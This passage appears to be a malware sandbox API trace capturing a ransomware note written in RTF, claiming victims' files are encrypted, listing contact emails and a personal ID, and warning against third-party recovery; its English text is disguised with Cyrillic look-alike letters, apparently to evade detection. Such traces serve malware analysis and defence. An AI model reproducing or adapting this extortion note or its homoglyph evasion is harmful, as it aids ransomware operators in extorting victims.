r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n 